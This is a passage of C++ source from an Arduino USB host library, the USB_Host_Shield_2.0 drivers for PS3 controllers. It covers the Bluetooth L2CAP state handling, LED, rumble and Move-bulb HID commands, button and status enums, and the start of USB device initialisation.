if(l2capinbuf[12] == interrupt_scid[0] && l2capinbuf[13] == interrupt_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: Interrupt Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE); } } #ifdef EXTRADEBUG else { Notify(PSTR("\r\nL2CAP Unknown Signaling Command: "), 0x80); D_PrintHex (l2capinbuf[8], 0x80); } #endif } else if(l2capinbuf[6] == interrupt_dcid[0] && l2capinbuf[7] == interrupt_dcid[1]) { // l2cap_interrupt //Notify(PSTR("\r\nL2CAP Interrupt"), 0x80); if(PS3Connected || PS3MoveConnected || PS3NavigationConnected) { /* Read Report */ if(l2capinbuf[8] == 0xA1) { // HID_THDR_DATA_INPUT lastMessageTime = (uint32_t)millis(); // Store the last message time if(PS3Connected || PS3NavigationConnected) ButtonState = (uint32_t)(l2capinbuf[11] | ((uint16_t)l2capinbuf[12] << 8) | ((uint32_t)l2capinbuf[13] << 16)); else if(PS3MoveConnected) ButtonState = (uint32_t)(l2capinbuf[10] | ((uint16_t)l2capinbuf[11] << 8) | ((uint32_t)l2capinbuf[12] << 16)); //Notify(PSTR("\r\nButtonState", 0x80); //PrintHex(ButtonState, 0x80); if(ButtonState != OldButtonState) { ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable OldButtonState = ButtonState; } #ifdef PRINTREPORT // Uncomment "#define PRINTREPORT" to print the report send by the PS3 Controllers for(uint8_t i = 10; i < 58; i++) { D_PrintHex (l2capinbuf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif } } } L2CAP_task(); } } void PS3BT::L2CAP_task() { switch(l2cap_state) { case L2CAP_WAIT: if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Control Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, control_scid); l2cap_state = L2CAP_CONTROL_SUCCESS; } break; case L2CAP_CONTROL_SUCCESS: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Control Successfully Configured"), 0x80); #endif l2cap_state = L2CAP_INTERRUPT_SETUP; } break; case L2CAP_INTERRUPT_SETUP: if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Interrupt Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid); l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST; } break; case L2CAP_INTERRUPT_CONFIG_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS)) { // Now the HID channels is established #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Interrupt Successfully Configured"), 0x80); #endif if(remote_name_first == 'M') { // First letter in Motion Controller ('M') memset(l2capinbuf, 0, BULK_MAXPKTSIZE); // Reset l2cap in buffer as it sometimes read it as a button has been pressed l2cap_state = TURN_ON_LED; } else l2cap_state = PS3_ENABLE_SIXAXIS; timer = (uint32_t)millis(); } break; /* These states are handled in Run() */ case L2CAP_INTERRUPT_DISCONNECT: if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected Interrupt Channel"), 0x80); #endif identifier++; pBtd->l2cap_disconnection_request(hci_handle, identifier, control_scid, control_dcid); l2cap_state = L2CAP_CONTROL_DISCONNECT; } break; case L2CAP_CONTROL_DISCONNECT: if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected Control Channel"), 0x80); #endif pBtd->hci_disconnect(hci_handle); hci_handle = -1; // Reset handle l2cap_event_flag = 0; // Reset flags l2cap_state = L2CAP_WAIT; } break; } } void PS3BT::Run() { switch(l2cap_state) { case PS3_ENABLE_SIXAXIS: if((int32_t)((uint32_t)millis() - timer) > 1000) { // loop 1 second before sending the command memset(l2capinbuf, 0, BULK_MAXPKTSIZE); // Reset l2cap in buffer as it sometimes read it as a button has been pressed for(uint8_t i = 15; i < 19; i++) l2capinbuf[i] = 0x7F; // Set the analog joystick values to center position enable_sixaxis(); l2cap_state = TURN_ON_LED; timer = (uint32_t)millis(); } break; case TURN_ON_LED: if((int32_t)((uint32_t)millis() - timer) > 1000) { // loop 1 second before sending the command if(remote_name_first == 'P') { // First letter in PLAYSTATION(R)3 Controller ('P') #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDualshock 3 Controller Enabled\r\n"), 0x80); #endif PS3Connected = true; } else if(remote_name_first == 'N') { // First letter in Navigation Controller ('N') #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNavigation Controller Enabled\r\n"), 0x80); #endif PS3NavigationConnected = true; } else if(remote_name_first == 'M') { // First letter in Motion Controller ('M') timer = (uint32_t)millis(); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nMotion Controller Enabled\r\n"), 0x80); #endif PS3MoveConnected = true; } ButtonState = 0; // Clear all values OldButtonState = 0; ButtonClickState = 0; onInit(); // Turn on the LED on the controller l2cap_state = L2CAP_DONE; } break; case L2CAP_DONE: if(PS3MoveConnected) { // The Bulb and rumble values, has to be send at approximately every 5th second for it to stay on if((int32_t)((uint32_t)millis() - timer) > 4000) { // Send at least every 4th second HIDMove_Command(HIDMoveBuffer, HID_BUFFERSIZE); // The Bulb and rumble values, has to be written again and again, for it to stay turned on timer = (uint32_t)millis(); } } break; } } /************************************************************/ /* HID Commands */ /************************************************************/ // Playstation Sixaxis Dualshock and Navigation Controller commands void PS3BT::HID_Command(uint8_t* data, uint8_t nbytes) { if((int32_t)((uint32_t)millis() - timerHID) <= 150) // Check if is has been more than 150ms since last command delay((uint32_t)(150 - ((uint32_t)millis() - timerHID))); // There have to be a delay between commands pBtd->L2CAP_Command(hci_handle, data, nbytes, control_scid[0], control_scid[1]); // Both the Navigation and Dualshock controller sends data via the control channel timerHID = (uint32_t)millis(); } void PS3BT::setAllOff() { HIDBuffer[3] = 0x00; // Rumble bytes HIDBuffer[4] = 0x00; HIDBuffer[5] = 0x00; HIDBuffer[6] = 0x00; HIDBuffer[11] = 0x00; // LED byte HID_Command(HIDBuffer, HID_BUFFERSIZE); } void PS3BT::setRumbleOff() { uint8_t rumbleBuf[HID_BUFFERSIZE]; memcpy(rumbleBuf, HIDBuffer, HID_BUFFERSIZE); rumbleBuf[3] = 0x00; rumbleBuf[4] = 0x00; rumbleBuf[5] = 0x00; rumbleBuf[6] = 0x00; HID_Command(rumbleBuf, HID_BUFFERSIZE); } void PS3BT::setRumbleOn(RumbleEnum mode) { uint8_t power[2] = {0xff, 0x00}; // Defaults to RumbleLow if(mode == RumbleHigh) { power[0] = 0x00; power[1] = 0xff; } setRumbleOn(0xfe, power[0], 0xfe, power[1]); } void PS3BT::setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower) { uint8_t rumbleBuf[HID_BUFFERSIZE]; memcpy(rumbleBuf, HIDBuffer, HID_BUFFERSIZE); rumbleBuf[3] = rightDuration; rumbleBuf[4] = rightPower; rumbleBuf[5] = leftDuration; rumbleBuf[6] = leftPower; HID_Command(rumbleBuf, HID_BUFFERSIZE); } void PS3BT::setLedRaw(uint8_t value) { HIDBuffer[11] = value << 1; HID_Command(HIDBuffer, HID_BUFFERSIZE); } void PS3BT::setLedOff(LEDEnum a) { HIDBuffer[11] &= ~((uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1)); HID_Command(HIDBuffer, HID_BUFFERSIZE); } void PS3BT::setLedOn(LEDEnum a) { if(a == OFF) setLedRaw(0); else { HIDBuffer[11] |= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1); HID_Command(HIDBuffer, HID_BUFFERSIZE); } } void PS3BT::setLedToggle(LEDEnum a) { HIDBuffer[11] ^= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1); HID_Command(HIDBuffer, HID_BUFFERSIZE); } void PS3BT::enable_sixaxis() { // Command used to enable the Dualshock 3 and Navigation controller to send data via Bluetooth uint8_t cmd_buf[6]; cmd_buf[0] = 0x53; // HID BT Set_report (0x50) | Report Type (Feature 0x03) cmd_buf[1] = 0xF4; // Report ID cmd_buf[2] = 0x42; // Special PS3 Controller enable commands cmd_buf[3] = 0x03; cmd_buf[4] = 0x00; cmd_buf[5] = 0x00; HID_Command(cmd_buf, 6); } // Playstation Move Controller commands void PS3BT::HIDMove_Command(uint8_t* data, uint8_t nbytes) { if((int32_t)((uint32_t)millis() - timerHID) <= 150)// Check if is has been less than 150ms since last command delay((uint32_t)(150 - ((uint32_t)millis() - timerHID))); // There have to be a delay between commands pBtd->L2CAP_Command(hci_handle, data, nbytes, interrupt_scid[0], interrupt_scid[1]); // The Move controller sends it's data via the intterrupt channel timerHID = (uint32_t)millis(); } void PS3BT::moveSetBulb(uint8_t r, uint8_t g, uint8_t b) { // Use this to set the Color using RGB values // Set the Bulb's values into the write buffer HIDMoveBuffer[3] = r; HIDMoveBuffer[4] = g; HIDMoveBuffer[5] = b; HIDMove_Command(HIDMoveBuffer, HID_BUFFERSIZE); } void PS3BT::moveSetBulb(ColorsEnum color) { // Use this to set the Color using the predefined colors in enum moveSetBulb((uint8_t)(color >> 16), (uint8_t)(color >> 8), (uint8_t)(color)); } void PS3BT::moveSetRumble(uint8_t rumble) { #ifdef DEBUG_USB_HOST if(rumble < 64 && rumble != 0) // The rumble value has to at least 64, or approximately 25% (64/255*100) Notify(PSTR("\r\nThe rumble value has to at least 64, or approximately 25%"), 0x80); #endif // Set the rumble value into the write buffer HIDMoveBuffer[7] = rumble; HIDMove_Command(HIDMoveBuffer, HID_BUFFERSIZE); } void PS3BT::onInit() { if(pFuncOnInit) pFuncOnInit(); // Call the user function else { if(PS3MoveConnected) moveSetBulb(Red); else // Dualshock 3 or Navigation controller setLedOn(static_cast(LED1)); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/PS3BT.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _ps3bt_h_ #define _ps3bt_h_ #include "BTD.h" #include "PS3Enums.h" #define HID_BUFFERSIZE 50 // Size of the buffer for the Playstation Motion Controller /** * This BluetoothService class implements support for all the official PS3 Controllers: * Dualshock 3, Navigation or a Motion controller via Bluetooth. * * Information about the protocol can be found at the wiki: https://github.com/felis/USB_Host_Shield_2.0/wiki/PS3-Information. */ class PS3BT : public BluetoothService { public: /** * Constructor for the PS3BT class. * @param pBtd Pointer to BTD class instance. * @param btadr5,btadr4,btadr3,btadr2,btadr1,btadr0 * Pass your dongles Bluetooth address into the constructor, * This will set BTD#my_bdaddr, so you don't have to plug in the dongle before pairing with your controller. */ PS3BT(BTD *pBtd, uint8_t btadr5 = 0, uint8_t btadr4 = 0, uint8_t btadr3 = 0, uint8_t btadr2 = 0, uint8_t btadr1 = 0, uint8_t btadr0 = 0); /** @name BluetoothService implementation */ /** Used this to disconnect any of the controllers. */ void disconnect(); /**@}*/ /** @name PS3 Controller functions */ /** * getButtonPress(ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b). * @param b ::ButtonEnum to read. * @return getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press. */ bool getButtonPress(ButtonEnum b); bool getButtonClick(ButtonEnum b); /**@}*/ /** @name PS3 Controller functions */ /** * Used to get the analog value from button presses. * @param a The ::ButtonEnum to read. * The supported buttons are: * ::UP, ::RIGHT, ::DOWN, ::LEFT, ::L1, ::L2, ::R1, ::R2, * ::TRIANGLE, ::CIRCLE, ::CROSS, ::SQUARE, and ::T. * @return Analog value in the range of 0-255. */ uint8_t getAnalogButton(ButtonEnum a); /** * Used to read the analog joystick. * @param a ::LeftHatX, ::LeftHatY, ::RightHatX, and ::RightHatY. * @return Return the analog value in the range of 0-255. */ uint8_t getAnalogHat(AnalogHatEnum a); /** * Used to read the sensors inside the Dualshock 3 and Move controller. * @param a * The Dualshock 3 has a 3-axis accelerometer and a 1-axis gyro inside. * The Move controller has a 3-axis accelerometer, a 3-axis gyro, a 3-axis magnetometer * and a temperature sensor inside. * @return Return the raw sensor value. */ int16_t getSensor(SensorEnum a); /** * Use this to get ::Pitch and ::Roll calculated using the accelerometer. * @param a Either ::Pitch or ::Roll. * @return Return the angle in the range of 0-360. */ float getAngle(AngleEnum a); /** * Read the sensors inside the Move controller. * @param a ::aXmove, ::aYmove, ::aZmove, ::gXmove, ::gYmove, ::gZmove, ::mXmove, ::mYmove, and ::mXmove. * @return The value in SI units. */ float get9DOFValues(SensorEnum a); /** * Get the status from the controller. * @param c The ::StatusEnum you want to read. * @return True if correct and false if not. */ bool getStatus(StatusEnum c); /** Read all the available statuses from the controller and prints it as a nice formated string. */ void printStatusString(); /** * Read the temperature from the Move controller. * @return The temperature in degrees Celsius. */ String getTemperature(); /** Used to set all LEDs and rumble off. */ void setAllOff(); /** Turn off rumble. */ void setRumbleOff(); /** * Turn on rumble. * @param mode Either ::RumbleHigh or ::RumbleLow. */ void setRumbleOn(RumbleEnum mode); /** * Turn on rumble using custom duration and power. * @param rightDuration The duration of the right/low rumble effect. * @param rightPower The intensity of the right/low rumble effect. * @param leftDuration The duration of the left/high rumble effect. * @param leftPower The intensity of the left/high rumble effect. */ void setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower); /** * Set LED value without using ::LEDEnum. * @param value See: ::LEDEnum. */ void setLedRaw(uint8_t value); /** Turn all LEDs off. */ void setLedOff() { setLedRaw(0); }; /** * Turn the specific LED off. * @param a The ::LEDEnum to turn off. */ void setLedOff(LEDEnum a); /** * Turn the specific LED on. * @param a The ::LEDEnum to turn on. */ void setLedOn(LEDEnum a); /** * Toggle the specific LED. * @param a The ::LEDEnum to toggle. */ void setLedToggle(LEDEnum a); /** * Use this to set the Color using RGB values. * @param r,g,b RGB value. */ void moveSetBulb(uint8_t r, uint8_t g, uint8_t b); /** * Use this to set the color using the predefined colors in ::ColorsEnum. * @param color The desired color. */ void moveSetBulb(ColorsEnum color); /** * Set the rumble value inside the Move controller. * @param rumble The desired value in the range from 64-255. */ void moveSetRumble(uint8_t rumble); /** Used to get the millis() of the last message */ uint32_t getLastMessageTime() { return lastMessageTime; }; /**@}*/ /** Variable used to indicate if the normal Playstation controller is successfully connected. */ bool PS3Connected; /** Variable used to indicate if the Move controller is successfully connected. */ bool PS3MoveConnected; /** Variable used to indicate if the Navigation controller is successfully connected. */ bool PS3NavigationConnected; protected: /** @name BluetoothService implementation */ /** * Used to pass acldata to the services. * @param ACLData Incoming acldata. */ void ACLData(uint8_t* ACLData); /** Used to run part of the state machine. */ void Run(); /** Use this to reset the service. */ void Reset(); /** * Called when the controller is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ void onInit(); /**@}*/ private: void L2CAP_task(); // L2CAP state machine /* Variables filled from HCI event management */ char remote_name_first; // First letter in remote name bool activeConnection; // Used to indicate if it's already has established a connection /* Variables used by high level L2CAP task */ uint8_t l2cap_state; uint32_t lastMessageTime; // Variable used to store the millis value of the last message. uint32_t ButtonState; uint32_t OldButtonState; uint32_t ButtonClickState; uint32_t timer; // Timer used to limit time between messages and also used to continuously set PS3 Move controller Bulb and rumble values uint32_t timerHID; // Timer used see if there has to be a delay before a new HID command uint8_t l2capinbuf[BULK_MAXPKTSIZE]; // General purpose buffer for L2CAP in data uint8_t HIDBuffer[HID_BUFFERSIZE]; // Used to store HID commands uint8_t HIDMoveBuffer[HID_BUFFERSIZE]; // Used to store HID commands for the Move controller /* L2CAP Channels */ uint8_t control_scid[2]; // L2CAP source CID for HID_Control uint8_t control_dcid[2]; // 0x0040 uint8_t interrupt_scid[2]; // L2CAP source CID for HID_Interrupt uint8_t interrupt_dcid[2]; // 0x0041 /* HID Commands */ void HID_Command(uint8_t* data, uint8_t nbytes); void HIDMove_Command(uint8_t* data, uint8_t nbytes); void enable_sixaxis(); // Command used to enable the Dualshock 3 and Navigation controller to send data via Bluetooth }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/PS3Enums.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _ps3enums_h #define _ps3enums_h #include "controllerEnums.h" /** Size of the output report buffer for the Dualshock and Navigation controllers */ #define PS3_REPORT_BUFFER_SIZE 48 /** Report buffer for all PS3 commands */ const uint8_t PS3_REPORT_BUFFER[PS3_REPORT_BUFFER_SIZE] PROGMEM = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x27, 0x10, 0x00, 0x32, 0xff, 0x27, 0x10, 0x00, 0x32, 0xff, 0x27, 0x10, 0x00, 0x32, 0xff, 0x27, 0x10, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; /** Size of the output report buffer for the Move Controller */ #define MOVE_REPORT_BUFFER_SIZE 7 /** Used to set the LEDs on the controllers */ const uint8_t PS3_LEDS[] PROGMEM = { 0x00, // OFF 0x01, // LED1 0x02, // LED2 0x04, // LED3 0x08, // LED4 0x09, // LED5 0x0A, // LED6 0x0C, // LED7 0x0D, // LED8 0x0E, // LED9 0x0F, // LED10 }; /** * Buttons on the controllers. * Note: that the location is shifted 9 when it's connected via USB. */ const uint32_t PS3_BUTTONS[] PROGMEM = { 0x10, // UP 0x20, // RIGHT 0x40, // DOWN 0x80, // LEFT 0x01, // SELECT 0x08, // START 0x02, // L3 0x04, // R3 0x0100, // L2 0x0200, // R2 0x0400, // L1 0x0800, // R1 0x1000, // TRIANGLE 0x2000, // CIRCLE 0x4000, // CROSS 0x8000, // SQUARE 0x010000, // PS 0x080000, // MOVE - covers 12 bits - we only need to read the top 8 0x100000, // T - covers 12 bits - we only need to read the top 8 }; /** * Analog buttons on the controllers. * Note: that the location is shifted 9 when it's connected via USB. */ const uint8_t PS3_ANALOG_BUTTONS[] PROGMEM = { 23, // UP_ANALOG 24, // RIGHT_ANALOG 25, // DOWN_ANALOG 26, // LEFT_ANALOG 0, 0, 0, 0, // Skip SELECT, L3, R3 and START 27, // L2_ANALOG 28, // R2_ANALOG 29, // L1_ANALOG 30, // R1_ANALOG 31, // TRIANGLE_ANALOG 32, // CIRCLE_ANALOG 33, // CROSS_ANALOG 34, // SQUARE_ANALOG 0, 0, // Skip PS and MOVE // Playstation Move Controller 15, // T_ANALOG - Both at byte 14 (last reading) and byte 15 (current reading) }; enum StatusEnum { // Note that the location is shifted 9 when it's connected via USB // Byte location | bit location Plugged = (38 << 8) | 0x02, Unplugged = (38 << 8) | 0x03, Charging = (39 << 8) | 0xEE, NotCharging = (39 << 8) | 0xF1, Shutdown = (39 << 8) | 0x01, Dying = (39 << 8) | 0x02, Low = (39 << 8) | 0x03, High = (39 << 8) | 0x04, Full = (39 << 8) | 0x05, MoveCharging = (21 << 8) | 0xEE, MoveNotCharging = (21 << 8) | 0xF1, MoveShutdown = (21 << 8) | 0x01, MoveDying = (21 << 8) | 0x02, MoveLow = (21 << 8) | 0x03, MoveHigh = (21 << 8) | 0x04, MoveFull = (21 << 8) | 0x05, CableRumble = (40 << 8) | 0x10, // Operating by USB and rumble is turned on Cable = (40 << 8) | 0x12, // Operating by USB and rumble is turned off BluetoothRumble = (40 << 8) | 0x14, // Operating by Bluetooth and rumble is turned on Bluetooth = (40 << 8) | 0x16, // Operating by Bluetooth and rumble is turned off }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/PS3USB.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "PS3USB.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the PS3 Controllers PS3USB::PS3USB(USB *p, uint8_t btadr5, uint8_t btadr4, uint8_t btadr3, uint8_t btadr2, uint8_t btadr1, uint8_t btadr0) : pUsb(p), // pointer to USB class instance - mandatory bAddress(0), // device address - mandatory bPollEnable(false) // don't start polling before dongle is connected { for(uint8_t i = 0; i < PS3_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } if(pUsb) // register in USB subsystem pUsb->RegisterDeviceClass(this); //set devConfig[] entry my_bdaddr[5] = btadr5; // Change to your dongle's Bluetooth address instead my_bdaddr[4] = btadr4; my_bdaddr[3] = btadr3; my_bdaddr[2] = btadr2; my_bdaddr[1] = btadr1; my_bdaddr[0] = btadr0; } uint8_t PS3USB::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint16_t PID; uint16_t VID; // get memory address of USB device address pool AddressPool &addrPool = pUsb->GetAddressPool(); #ifdef EXTRADEBUG Notify(PSTR("\r\nPS3USB Init"), 0x80); #endif // check if address has already been assigned to an instance if(bAddress) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress in use"), 0x80); #endif return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nepinfo is null"), 0x80); #endif return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) goto FailGetDevDescr; VID = udd->idVendor; PID = udd->idProduct; if(VID != PS3_VID || (PID != PS3_PID && PID != PS3NAVIGATION_PID && PID != PS3MOVE_PID)) goto FailUnknownDevice; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nsetAddr: "), 0x80); D_PrintHex (rcode, 0x80); #endif return rcode; } #ifdef EXTRADEBUG Notify(PSTR("\r\nAddr: "), 0x80); D_PrintHex (bAddress, 0x80); #endif //delay(300); // Spec says you should wait at least 200ms p->lowspeed = false; //get pointer to assigned address record p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; // Assign epInfo to epinfo pointer - only EP0 is known rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; /* The application will work in reduced host mode, so we can save program and data memory space. After verifying the PID and VID we will use known values for the configuration values for device, interface, endpoints and HID for the PS3 Controllers */ /* Initialize data structures for endpoints of device */ epInfo[ PS3_OUTPUT_PIPE ].epAddr = 0x02; // PS3 output endpoint epInfo[ PS3_OUTPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ PS3_OUTPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ PS3_OUTPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE; epInfo[ PS3_OUTPUT_PIPE ].bmSndToggle = 0; epInfo[ PS3_OUTPUT_PIPE ].bmRcvToggle = 0; epInfo[ PS3_INPUT_PIPE ].epAddr = 0x01; // PS3 report endpoint epInfo[ PS3_INPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ PS3_INPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ PS3_INPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE; epInfo[ PS3_INPUT_PIPE ].bmSndToggle = 0; epInfo[ PS3_INPUT_PIPE ].bmRcvToggle = 0; rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo); if(rcode) goto FailSetDevTblEntry; delay(200); //Give time for address change rcode = pUsb->setConf(bAddress, epInfo[ PS3_CONTROL_PIPE ].epAddr, 1); if(rcode) goto FailSetConfDescr; if(PID == PS3_PID || PID == PS3NAVIGATION_PID) { if(PID == PS3_PID) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDualshock 3 Controller Connected"), 0x80); #endif PS3Connected = true; } else { // must be a navigation controller #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNavigation Controller Connected"), 0x80); #endif PS3NavigationConnected = true; } enable_sixaxis(); // The PS3 controller needs a special command before it starts sending data // Needed for PS3 Dualshock and Navigation commands to work for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++) writeBuf[i] = pgm_read_byte(&PS3_REPORT_BUFFER[i]); for(uint8_t i = 6; i < 10; i++) readBuf[i] = 0x7F; // Set the analog joystick values to center position } else { // must be a Motion controller #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nMotion Controller Connected"), 0x80); #endif PS3MoveConnected = true; writeBuf[0] = 0x02; // Set report ID, this is needed for Move commands to work } if(my_bdaddr[0] != 0x00 || my_bdaddr[1] != 0x00 || my_bdaddr[2] != 0x00 || my_bdaddr[3] != 0x00 || my_bdaddr[4] != 0x00 || my_bdaddr[5] != 0x00) { if(PS3MoveConnected) setMoveBdaddr(my_bdaddr); // Set internal Bluetooth address else setBdaddr(my_bdaddr); // Set internal Bluetooth address #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nBluetooth Address was set to: "), 0x80); for(int8_t i = 5; i > 0; i--) { D_PrintHex (my_bdaddr[i], 0x80); Notify(PSTR(":"), 0x80); } D_PrintHex (my_bdaddr[0], 0x80); #endif } onInit(); bPollEnable = true; Notify(PSTR("\r\n"), 0x80); timer = (uint32_t)millis(); return 0; // Successful configuration /* Diagnostic messages */ FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); #endif goto Fail; FailUnknownDevice: #ifdef DEBUG_USB_HOST NotifyFailUnknownDevice(VID, PID); #endif rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; Fail: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nPS3 Init Failed, error code: "), 0x80); NotifyFail(rcode); #endif Release(); return rcode; } /* Performs a cleanup after failed Init() attempt */ uint8_t PS3USB::Release() { PS3Connected = false; PS3MoveConnected = false; PS3NavigationConnected = false; pUsb->GetAddressPool().FreeAddress(bAddress); bAddress = 0; bPollEnable = false; return 0; } uint8_t 